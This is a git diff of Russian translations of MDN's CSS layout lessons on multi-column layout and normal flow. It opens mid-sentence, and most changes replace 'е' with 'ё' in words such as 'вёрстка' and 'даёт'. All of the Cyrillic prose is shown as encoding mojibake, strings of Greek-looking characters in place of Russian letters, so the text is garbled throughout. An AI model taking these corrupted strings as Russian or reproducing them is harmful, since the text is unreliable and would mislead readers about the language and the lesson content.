ΠΈ Π²Π½ΠΈΠ· ΠΌΠ΅Π½Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² контСкстС Π²Π΅Π±Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Π²Π²Π΅Ρ€Ρ… ΠΈ Π²Π½ΠΈΠ·, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ столбцам ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ.</span></span></p>
+<p>ΠœΠΎΠ΄ΡƒΠ»ΡŒ ΠΌΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° (multi-column layout) Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ способ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² столбцах, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ тСкст располагаСтся Π² Π³Π°Π·Π΅Ρ‚Π΅. Π₯ΠΎΡ‚ΡŒ ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ <span class="tlid-translation translation" lang="ru"><span title="">столбцов Π²Π²Π΅Ρ€Ρ… ΠΈ Π²Π½ΠΈΠ· ΠΌΠ΅Π½Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² контСкстС Π²Π΅Π±Π°, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π·Π°ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€ΠΎΠΊΡ€ΡƒΡ‡ΠΈΠ²Π°Ρ‚ΡŒ Π²Π²Π΅Ρ€Ρ… ΠΈ Π²Π½ΠΈΠ·, Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ столбцам ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΎΠΉ.</span></span></p>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ Π±Π»ΠΎΠΊ Π² ΠΌΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ свойство {{cssxref("column-count")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ сколько ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΈΠΌΠ΅Ρ‚ΡŒ, Π»ΠΈΠ±ΠΎ свойство {{cssxref("column-width")}}, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ <span class="tlid-translation translation" lang="ru"><span title="">ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большим количСством столбцов, ΠΏΠΎ ΠΊΡ€Π°ΠΉΠ½Π΅ΠΉ ΠΌΠ΅Ρ€Π΅, Ρ‚Π°ΠΊΠΎΠΉ ΡˆΠΈΡ€ΠΈΠ½Ρ‹.</span></span></p>
@@ -692,14 +692,14 @@ form p {
<h2 id="Π’_этом_ΠΌΠΎΠ΄ΡƒΠ»Π΅">Π’ этом ΠΌΠΎΠ΄ΡƒΠ»Π΅</h2>
<ul>
- <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² CSS вСрстку</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅ Π² CSS вёрстку</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΊ</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">ΠœΠ½ΠΎΠ³ΠΎΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹ΠΉ ΠΌΠ°ΠΊΠ΅Ρ‚</a></li>
- <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вСрстки</a></li>
+ <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Π£ΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ вёрстки</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²</a></li>
<li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">ΠžΡ†Π΅Π½ΠΊΠ° понимания Π±Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΌΠ°ΠΊΠ΅Ρ‚ΠΎΠ²</a></li>
</ul>
diff --git a/files/ru/learn/css/css_layout/multiple-column_layout/index.html b/files/ru/learn/css/css_layout/multiple-column_layout/index.html
index f61c802400..a501bff3b1 100644
--- a/files/ru/learn/css/css_layout/multiple-column_layout/index.html
+++ b/files/ru/learn/css/css_layout/multiple-column_layout/index.html
@@ -8,7 +8,7 @@ original_slug: Learn/CSS/CSS_layout/ΠœΠ°ΠΊΠ΅Ρ‚_с_нСсколькими_стоΠ
<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</div>
-<p class="summary">БпСцификация ΠΌΠ°ΠΊΠ΅Ρ‚ с нСсколькими столбцами Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ вСрстки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ столбцам, Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² Π³Π°Π·Π΅Ρ‚Π΅. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
+<p class="summary">БпСцификация ΠΌΠ°ΠΊΠ΅Ρ‚ с нСсколькими столбцами Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ вёрстки ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° ΠΏΠΎ столбцам, Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ Π² Π³Π°Π·Π΅Ρ‚Π΅. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΎΠ±ΡŠΡΡΠ½ΡΠ΅Ρ‚, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ.</p>
<table class="learn-box standard-table">
<tbody>
@@ -31,7 +31,7 @@ original_slug: Learn/CSS/CSS_layout/ΠœΠ°ΠΊΠ΅Ρ‚_с_нСсколькими_стоΠ
<p>БСйчас ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ с нСсколькими столбцами, часто Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <em>multicol. </em>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ Π·Π° Π½Π°ΠΌΠΈ <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/multicol/0-starting-point.html">скачав Ρ„Π°ΠΉΠ» ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΈ multicol</a> ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ CSS Π² ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ мСста. Π’ ΠΊΠΎΠ½Ρ†Π΅ Ρ€Π°Π·Π΄Π΅Π»Π° Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΆΠΈΠ²ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ.</p>
-<p>Наша отправная Ρ‚ΠΎΡ‡ΠΊΠ° содСрТит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простого HTML; ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠ° с классом <code>container</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ имССтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ нСсколько ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠ².</p>
+<p>Наша отправная Ρ‚ΠΎΡ‡ΠΊΠ° содСрТит Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простого HTML; ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠ° с классом <code>container</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ имССтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ нСсколько ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„ΠΎΠ².</p>
<p>{{htmlelement("div")}} с классом ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ станСт нашим multicol ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ΠΎΠΌ. ΠœΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌ multicol ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Π΄Π²ΡƒΡ… свойств {{cssxref("column-count")}} ΠΈΠ»ΠΈ {{cssxref("column-width")}}. КакоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Ρ‹ Π΄Π°Π΄ΠΈΡ‚Π΅ свойству <code>column-count</code> ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ столбцов ΠΎΠ½ ΠΈ создаст, поэтому Ссли Π²Ρ‹ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ CSS Π² ваши стили ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу, Ρ‚ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Ρ‚Ρ€ΠΈ столбца:</p>
@@ -40,7 +40,7 @@ original_slug: Learn/CSS/CSS_layout/ΠœΠ°ΠΊΠ΅Ρ‚_с_нСсколькими_стоΠ
}
</pre>
-<p>Колонки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ создаСтС ΠΈΠΌΠ΅ΡŽΡ‚ Π³ΠΈΠ±ΠΊΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ β€” Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΊΠ°ΠΊΠΎΠ΅ пространство Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ столбцу.</p>
+<p>Колонки, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ создаётС ΠΈΠΌΠ΅ΡŽΡ‚ Π³ΠΈΠ±ΠΊΡƒΡŽ ΡˆΠΈΡ€ΠΈΠ½Ρƒ β€” Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ€Π΅ΡˆΠ°Π΅Ρ‚ ΠΊΠ°ΠΊΠΎΠ΅ пространство Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ столбцу.</p>
<div id="Multicol_1">
<div class="hidden">
@@ -240,7 +240,7 @@ h2 {
<h2 id="Π‘Ρ‚ΠΎΠ»Π±Ρ†Ρ‹_ΠΈ_фрагмСнтация">Π‘Ρ‚ΠΎΠ»Π±Ρ†Ρ‹ ΠΈ фрагмСнтация</h2>
-<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… столбцов являСтся Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ. <span class="tlid-translation translation" lang="ru"><span title="">По сути, ΠΎΠ½ Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² постраничных ΠΌΠ΅Π΄ΠΈΠ° </span></span>β€” Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚Π΅ Π²Π΅Π±-страницы. Когда Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΡ‚Π΅ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² multicol ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΎΠ½ фрагмСнтируСтся Π½Π° столбцы ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ разбиваСтся Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ этому ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ.</p>
+<p>Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… столбцов являСтся Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ. <span class="tlid-translation translation" lang="ru"><span title="">По сути, ΠΎΠ½ Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² постраничных ΠΌΠ΅Π΄ΠΈΠ° </span></span>β€” Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚Π΅ Π²Π΅Π±-страницы. Когда Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π²ΠΎΠ΄ΠΈΡ‚Π΅ ваш ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² multicol ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ ΠΎΠ½ фрагмСнтируСтся Π½Π° столбцы ΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ разбиваСтся Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ этому ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΡ‚ΠΈ.</p>
<p>ΠŸΠΎΡ€ΠΎΠΉ это Ρ€Π°Π·Ρ€Ρ‹Π²Π°Π½ΠΈΠ΅ происходит Π² мСстах, ΠΌΠ΅ΡˆΠ°ΡŽΡ‰ΠΈΡ… Ρ‡Ρ‚Π΅Π½ΠΈΡŽ. Π’ ΠΆΠΈΠ²ΠΎΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅, я использовал multicol Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ нСсколько Π±Π»ΠΎΠΊΠΎΠ², ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠΌΠ΅Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΈ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ тСкста Π²Π½ΡƒΡ‚Ρ€ΠΈ. <span class="tlid-translation translation" lang="ru"><span title="">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ отдСляСтся ΠΎΡ‚ тСкста, Ссли столбцы Ρ€Π°Π·Π΄Π΅Π»ΡΡŽΡ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ.</span></span></p>
@@ -330,7 +330,7 @@ h2 {
<p>{{ EmbedLiveSample('Multicol_4', '100%', 600) }}</p>
-<p>Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ этим ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈΠ· спСцификации <a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</a>. Π­Ρ‚Π° спСцификация Π΄Π°Π΅Ρ‚ Π½Π°ΠΌ свойства для управлСния Ρ€Π°Π·Ρ€Ρ‹Π²Π°ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² multicol ΠΈ постраничных ΠΌΠ΅Π΄ΠΈΠ°. НапримСр, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ свойство {{cssxref("break-inside")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>avoid</code> ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ <code>.card</code>. Π­Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ тСкста ΠΈ поэтому ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот Π±Π»ΠΎΠΊ.</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ этим ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойства ΠΈΠ· спСцификации <a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ</a>. Π­Ρ‚Π° спСцификация Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΌ свойства для управлСния Ρ€Π°Π·Ρ€Ρ‹Π²Π°ΠΌΠΈ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Π² multicol ΠΈ постраничных ΠΌΠ΅Π΄ΠΈΠ°. НапримСр, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ свойство {{cssxref("break-inside")}} со Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ <code>avoid</code> ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ <code>.card</code>. Π­Ρ‚ΠΎ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΈ тСкста ΠΈ поэтому ΠΌΡ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ этот Π±Π»ΠΎΠΊ.</p>
<p>Π’ настоящСС врСмя Ρ‚Π°ΠΊΠΆΠ΅ стоит Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ староС свойство <code>page-break-inside: avoid</code> для Π»ΡƒΡ‡ΡˆΠ΅ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
@@ -440,7 +440,7 @@ h2 {
<h2 id="Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅">Π—Π°ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π’Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚Π° с нСсколькими столбцами, Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ инструмСнт Π² вашСм распоряТСнии ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΌΠ°ΠΊΠ΅Ρ‚Π° для Π΄ΠΈΠ·Π°ΠΉΠ½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ строитС.</p>
+<p>Π’Ρ‹ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π±Π°Π·ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΌΠ°ΠΊΠ΅Ρ‚Π° с нСсколькими столбцами, Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ инструмСнт Π² вашСм распоряТСнии ΠΏΡ€ΠΈ Π²Ρ‹Π±ΠΎΡ€Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° ΠΌΠ°ΠΊΠ΅Ρ‚Π° для Π΄ΠΈΠ·Π°ΠΉΠ½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ строитС.</p>
<h2 id="Π‘ΠΌ._Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌ. Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/learn/css/css_layout/normal_flow/index.html b/files/ru/learn/css/css_layout/normal_flow/index.html
index e7091f2508..329bf37f99 100644
--- a/files/ru/learn/css/css_layout/normal_flow/index.html
+++ b/files/ru/learn/css/css_layout/normal_flow/index.html
@@ -21,12 +21,12 @@ original_slug: Learn/CSS/CSS_layout/ΠΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΉ_ΠΏΠΎΡ‚ΠΎΠΊ
</tr>
<tr>
<th scope="row">ЦСль:</th>
- <td>ΠžΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ элСмСнты Π½Π° Π²Π΅Π±-страницС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‚.Π΅. ΠΏΡ€Π΅ΠΆΠ΄Π΅, Ρ‡Π΅ΠΌ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Π²Π½ΠΎΡΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ измСнСния.</td>
+ <td>ΠžΠ±ΡŠΡΡΠ½ΠΈΡ‚ΡŒ ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ элСмСнты Π½Π° Π²Π΅Π±-страницС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ‚.Π΅. ΠΏΡ€Π΅ΠΆΠ΄Π΅, Ρ‡Π΅ΠΌ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π²Π½ΠΎΡΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ измСнСния.</td>
</tr>
</tbody>
</table>
